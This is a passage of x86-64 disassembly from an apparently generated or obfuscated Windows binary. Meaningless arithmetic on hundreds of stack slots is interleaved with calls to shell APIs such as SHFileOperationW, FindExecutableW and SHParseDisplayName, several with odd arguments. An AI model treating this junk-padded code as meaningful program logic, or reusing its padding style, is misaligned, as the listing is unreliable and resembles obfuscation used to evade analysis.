add eax, ecx
mov word [rsp + 0x24a4], ax
mov rax, qword [rsp + 0xebc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xef18]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d280], rax
lea rcx, [rsp + 0x20380]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ff8], ax
mov rax, qword [0x14019f5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf6d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a0], rax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov qword [rsp + 0xfa38], rax
movsx eax, byte [rsp + 0x5cf]
mov rcx, qword [rsp + 0xe8f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4b1], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xfa40], rax
mov eax, dword [rsp + 0x7034]
movzx ecx, al
mov eax, dword [0x14019efac]
sar eax, cl
mov dword [rsp + 0x6c94], eax
mov rax, qword [rsp + 0xf8c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x57b], al
mov rax, qword [rsp + 0xf988]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6fb0]
mov dword [rsp + 0x5de4], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e94]
sub eax, ecx
mov rcx, qword [0x14019f088]
mov word [rcx], ax
movsx eax, word [rsp + 0x1254]
movsx ecx, word [0x14019d1e0]
add eax, ecx
mov word [rsp + 0x1e7c], ax
movzx eax, word [rsp + 0x2a48]
mov word [rsp + 0x31b4], ax
mov rax, qword [rsp + 0xefb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d94]
add eax, ecx
mov word [rsp + 0x3168], ax
mov rax, qword [rsp + 0xe880]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe418], rax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0xfa48], rax
mov eax, dword [rsp + 0x5a80]
movzx ecx, al
mov eax, dword [rsp + 0x63b8]
shl eax, cl
mov dword [rsp + 0x70b4], eax
mov rax, qword [rsp + 0xf6f8]
movsx eax, word [rax]
mov rcx, qword [0x14019f3a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1034], ax
movzx eax, word [rsp + 0x30e0]
mov rcx, qword [rsp + 0xf090]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0x92c8]
mov qword [0x14019f708], rax
mov rax, qword [rsp + 0xf9f0]
mov qword [rsp + 0xfa50], rax
mov rax, qword [rsp + 0xf2c0]
mov rcx, qword [rsp + 0xeb80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdcb0], rax
mov rax, qword [rsp + 0xeb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeec0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8b0], rax
movzx eax, word [rsp + 0x2890]
mov word [rsp + 0x31b8], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5ae]
sub eax, ecx
mov byte [rsp + 0x2e4], al
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf638]
mov qword [rsp + 0xfa58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfa58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6b30], eax
mov rax, qword [0x14019f340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xea28]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x536], al
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xdfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x66a4], eax
mov rax, qword [rsp + 0xccc0]
mov qword [0x14019f710], rax
movzx eax, word [0x14019f4d0]
mov word [rsp + 0x31bc], ax
mov rax, qword [rsp + 0xd398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3194]
sub eax, ecx
mov word [rsp + 0x1a38], ax
mov rax, qword [rsp + 0xf630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3064]
add eax, ecx
mov word [rsp + 0x274c], ax
mov rax, qword [rsp + 0xc4b0]
mov rcx, qword [rsp + 0x9b10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb58], rax
movsx eax, byte [rsp + 0x573]
movsx ecx, byte [rsp + 0x544]
add eax, ecx
mov byte [rsp + 0x3eb], al
mov eax, dword [rsp + 0x71d8]
mov dword [rsp + 0x720c], eax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe1c0], rax
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0xfa60], rax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0xf4f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d350], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
mov qword [rsp + 0xfa68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfa68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe858], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x307c]
xor eax, ecx
mov word [rsp + 0x2d04], ax
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
mov dword [rsp + 0x7210], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4fa]
and eax, ecx
mov byte [rsp + 0x541], al
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1da]
sar eax, cl
mov byte [rsp + 0x296], al
mov rax, qword [rsp + 0xf2b8]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x711c], eax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov qword [rsp + 0xfa70], rax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
mov rcx, qword [0x14019f288]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x303c], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0xeed0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14019f4d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd9d0]
mov qword [rsp + 0xfa78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfa78]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd388]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfa08]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb018]
sar rax, cl
mov qword [rsp + 0xb388], rax
movsx eax, word [rsp + 0x1630]
movsx ecx, word [rsp + 0x2b5c]
sub eax, ecx
mov word [rsp + 0x2cf0], ax
movzx eax, word [rsp + 0x2434]
mov word [rsp + 0x31c0], ax
mov rax, qword [rsp + 0xf028]
mov rcx, qword [0x14019f218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f98], rax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x20], rax
mov r9d, 0xc4
lea r8, [rsp + 0x1f7e0]
lea rdx, [rsp + 0x1f8c0]
lea rcx, [rsp + 0xce30]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6fc8], eax
mov rax, qword [rsp + 0xd960]
mov rcx, qword [rsp + 0xf628]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5e94], eax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x575]
add eax, ecx
mov byte [rsp + 0x4ac], al
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xe840]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda78], rax
lea rcx, [rsp + 0x1e138]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xfa80], rax
movsx eax, word [rsp + 0x252c]
movsx ecx, word [rsp + 0x13cc]
xor eax, ecx
mov word [0x14019d370], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
mov word [rsp + 0x31c4], ax
mov rax, qword [rsp + 0xe708]
mov rcx, qword [rsp + 0xf530]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6f38], eax
movzx eax, byte [rsp + 0x5a4]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x386], al
lea rax, [rsp + 0xf158]
mov qword [rsp + 0xfa88], rax
mov rax, qword [rsp + 0xf9c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdff8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe0], rax
mov edx, 1
mov rcx, qword [rsp + 0xf728]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov rax, qword [rsp + 0xf0f0]
movzx eax, byte [rax]
mov byte [rsp + 0x5d6], al
mov eax, dword [rsp + 0x6f20]
movzx ecx, al
mov eax, dword [0x14019f2cc]
shl eax, cl
mov dword [rsp + 0x66a0], eax
lea rax, [rsp + 0x2df8]
mov qword [rsp + 0xfa90], rax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e5c]
sub eax, ecx
mov word [0x14019d2fc], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [0x14019f370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb50], rax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ffc], ax
lea rax, [0x14019d2c4]
mov qword [rsp + 0xfa98], rax
mov rax, qword [rsp + 0xf6d0]
mov rcx, qword [rsp + 0xe650]
mov qword [rsp + 0xfaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfaa0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xed48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe638]
mov rcx, qword [rsp + 0xe7f8]
mov qword [rsp + 0xfaa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfaa8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb460], rax
movsx eax, byte [0x14019ef97]
movsx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x4c8], al
mov rax, qword [rsp + 0xf990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5dfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xeff0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2ee8]
mov word [rsp + 0x31c8], ax
mov rax, qword [0x14019f268]
mov rax, qword [rax]
mov qword [0x14019f718], rax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b1]
and eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xf098]
mov rcx, qword [rsp + 0xda28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5958], eax
lea rax, [rsp + 0xf118]
mov qword [rsp + 0x20], rax
mov r9d, 0xe5
lea r8, [rsp + 0x1f8c0]
lea rdx, [rsp + 0x20260]
lea rcx, [rsp + 0xd010]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6e4c], eax
mov r9, qword [rsp + 0xd138]
mov r8, qword [rsp + 0xcdd8]
mov rdx, qword [rsp + 0xfab0]
mov rcx, qword [rsp + 0xe7f0]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x7130], eax
mov rax, qword [0x14019f400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0xf1e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d8c]
or eax, ecx
mov word [rsp + 0x312c], ax
mov rax, qword [rsp + 0xef60]
movzx eax, byte [rax]
mov byte [rsp + 0x5d7], al
mov rax, qword [rsp + 0xf650]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xfab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfab8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5b3c], eax
mov rax, qword [rsp + 0xf180]
mov rax, qword [rax]
mov qword [rsp + 0xfac0], rax
movsx eax, word [rsp + 0x2ad8]
movsx ecx, word [0x14019f338]
sub eax, ecx
mov word [rsp + 0x3028], ax
movzx eax, word [rsp + 0x2dcc]
mov rcx, qword [rsp + 0xef10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f298], ax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xd380]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xec50]
mov qword [rcx], rax
lea rax, [rsp + 0xe950]
mov qword [rsp + 0xfac8], rax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0xf208]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb020], rax
movsx eax, word [rsp + 0x11dc]
movsx ecx, word [rsp + 0x2cb0]
shl eax, cl
mov word [rsp + 0x13d4], ax
mov rax, qword [rsp + 0xf920]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f2a0]
shr rax, cl
mov qword [rsp + 0xdad8], rax
mov eax, dword [rsp + 0x705c]
mov dword [rsp + 0x7214], eax
mov rax, qword [rsp + 0xeae8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef93]
add eax, ecx
mov byte [rsp + 0x26b], al
mov rax, qword [rsp + 0xe578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56f], al
mov eax, dword [rsp + 0x6ee8]
mov ecx, dword [rsp + 0x7050]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x677c], eax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb4]
and eax, ecx
mov word [0x14019d374], ax
mov rax, qword [rsp + 0xee70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xefb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d04], ax
mov ecx, 0xd1
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6bc8], eax
movzx eax, word [rsp + 0x2f98]
mov word [rsp + 0x31cc], ax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0xf148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb28], rax
mov rax, qword [rsp + 0xf7b0]
mov rcx, qword [rsp + 0xd9a8]
mov qword [rsp + 0xfad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfad0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdaa0], rax
lea rcx, [rsp + 0x1e470]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xe668], rax
mov rax, qword [rsp + 0xe140]
movzx eax, byte [rax]
mov byte [rsp + 0x5d8], al
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xf628]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2140], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x313c]
add eax, ecx
mov word [rsp + 0x2ae4], ax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f258], rax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov rcx, qword [0x14019f510]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25c0], ax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov qword [rsp + 0xfad8], rax
mov rax, qword [rsp + 0xe098]
movzx ecx, al
mov rax, qword [rsp + 0x9198]
shl rax, cl
mov qword [rsp + 0xa5f8], rax
mov rax, qword [0x14019f1d8]
mov rcx, qword [rsp + 0xfa40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbad8], rax
mov dword [rsp + 0x20], 0xdd
lea r9, [rsp + 0xf1b8]
mov r8, qword [rsp + 0xcde8]
mov rdx, qword [rsp + 0xe588]
mov rcx, qword [rsp + 0xf850]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x7144], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x6fd0]
mov ecx, dword [rsp + 0x5ce8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7060], eax
lea rax, [rsp + 0x282]
mov qword [rsp + 0xfae0], rax
xor edx, edx
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdff0]
div dword [rcx]
mov dword [rsp + 0x6e94], eax
movzx eax, word [rsp + 0x2e20]
mov word [0x14019f720], ax
movzx eax, word [rsp + 0x1bd4]
mov word [rsp + 0x31d0], ax
movzx eax, word [0x14019d268]
movzx ecx, word [rsp + 0x1cb4]
xor eax, ecx
mov word [rsp + 0x30d4], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov word [rsp + 0x31d4], ax
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5e94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ecc], eax
mov rax, qword [rsp + 0xeac8]
mov rcx, qword [rsp + 0xe208]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0xed58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c6]
sar eax, cl
mov byte [rsp + 0x41], al
movsx eax, word [0x14019d030]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3180], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [rsp + 0x31d8], ax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d378], rax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov rcx, qword [0x14019d260]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf590], rax
mov rax, qword [rsp + 0xdcb0]
mov rcx, qword [rsp + 0xf460]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdfe8]
mov qword [rcx], rax
lea rax, [rsp + 0xea40]
mov qword [rsp + 0xfae8], rax
mov rax, qword [rsp + 0xef28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ee8]
add eax, ecx
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf098]
mov qword [rsp + 0xfaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfaf0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6850], eax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53c]
or eax, ecx
mov byte [rsp + 0x5be], al
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0xd8b8]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x7218], eax
mov rax, qword [rsp + 0xf0b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf558]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5c8], al
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov dword [rsp + 0x721c], eax
mov rax, qword [0x14019f120]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x14019f0f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0xf7c0]
movsx eax, word [rax]
movsx ecx, word [0x14019d110]
sub eax, ecx
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b60]
sub eax, ecx
mov word [rsp + 0x26a8], ax
lea rax, [rsp + 0xea40]
mov qword [rsp + 0xfaf8], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6670]
shr eax, cl
mov dword [rsp + 0x7000], eax
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xed78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe580]
mov qword [rcx], rax
lea r8, [rsp + 0xf9d0]
lea rdx, [rsp + 0x1e068]
mov ecx, 0x20
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x7188], eax
mov rax, qword [rsp + 0xd0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x5d9], al
movsx eax, word [0x14019d25c]
movsx ecx, word [rsp + 0x11b4]
shl eax, cl
mov word [rsp + 0x3134], ax
lea rax, [rsp + 0x1cb4]
mov qword [0x14019f728], rax
mov rax, qword [rsp + 0xeb58]
mov rax, qword [rax]
mov qword [rsp + 0xfb00], rax
movzx eax, word [rsp + 0x1634]
mov rcx, qword [0x14019f468]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xe7b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e20], eax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3e0], al
mov rax, qword [rsp + 0xf498]
mov rcx, qword [rsp + 0xdd88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5ef8], eax
lea rax, [rsp + 0xb028]
mov qword [rsp + 0xfb08], rax
mov rax, qword [rsp + 0xf0b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
add eax, ecx
mov byte [rsp + 0x5a8], al
lea rcx, [rsp + 0x1e170]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x7220], eax
mov rax, qword [rsp + 0xf2e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
sar eax, cl
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d2e8], ax
lea rax, [rsp + 0xe9c0]
mov qword [rsp + 0xfb10], rax
mov r8, qword [rsp + 0xfab0]
mov rdx, qword [rsp + 0xf128]
mov rcx, qword [rsp + 0xebe0]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0xdf08], rax
mov rax, qword [rsp + 0xe218]
mov rcx, qword [rsp + 0xbe80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb770], rax
lea rax, [rsp + 0x30f4]
mov qword [rsp + 0xfb18], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [0x14019f564]
xor eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x662c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6f58], eax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xfb20], rax
movsx eax, byte [rsp + 0x488]
movsx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov rcx, qword [rsp + 0xeae8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe7d8]
mov rcx, qword [rsp + 0xef98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcae0], rax
lea rax, [rsp + 0x2714]
mov qword [0x14019f730], rax
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [rsp + 0x2e98]
sar eax, cl
mov word [rsp + 0x3114], ax
movzx eax, byte [rsp + 0x5d5]
mov byte [rsp + 0x5da], al
mov rax, qword [rsp + 0xd150]
mov ecx, dword [rsp + 0x7180]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9660]
shl rax, cl
mov rcx, qword [rsp + 0xf540]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe078]
mov rax, qword [rax]
mov qword [rsp + 0xfb28], rax
mov rax, qword [rsp + 0xef60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xefe0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe4b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x70ac]
mov ecx, dword [rsp + 0x6f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6368], eax
mov rax, qword [rsp + 0xf5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf430]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c58], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2ec], ax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xf7d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xec88], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
mov word [rsp + 0x31dc], ax
movsx eax, word [rsp + 0x2fd4]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9288], rax
mov rax, qword [rsp + 0xefc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
sar eax, cl
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
mov rax, qword [0x14019efc8]
mov ecx, dword [rsp + 0x7194]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdfa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf908]
mov qword [rsp + 0xfb30], rax
lea rcx, [rsp + 0xdc20]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
movzx eax, word [rsp + 0x2650]
movzx ecx, word [rsp + 0x2ea4]
shl eax, cl
mov word [rsp + 0x24fc], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov qword [0x14019f738], rax
mov rax, qword [rsp + 0xea38]
movzx eax, byte [rax]
mov byte [rsp + 0x5db], al
mov rax, qword [rsp + 0xd150]
mov ecx, dword [rsp + 0x6d80]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdbc8]
mov dword [rcx], eax
movsx eax, word [0x14019d314]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x18ac], ax
movzx eax, word [rsp + 0x3158]
movzx ecx, word [rsp + 0x1be0]
or eax, ecx
mov rcx, qword [rsp + 0xeb88]
mov word [rcx], ax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe3b8]
shl rax, cl
mov rcx, qword [rsp + 0xea00]
mov qword [rcx], rax
lea rax, [rsp + 0x7058]
mov qword [rsp + 0xfb38], rax
movsx eax, byte [rsp + 0x59e]
movsx ecx, byte [rsp + 0x439]
sub eax, ecx
mov byte [rsp + 0x596], al
mov rax, qword [rsp + 0xe968]
movzx eax, word [rax]
mov word [rsp + 0x31e0], ax
movzx eax, word [0x14019f1e0]
mov rcx, qword [rsp + 0xf1f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f438], ax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd680]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca28], rax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0xd2e0]
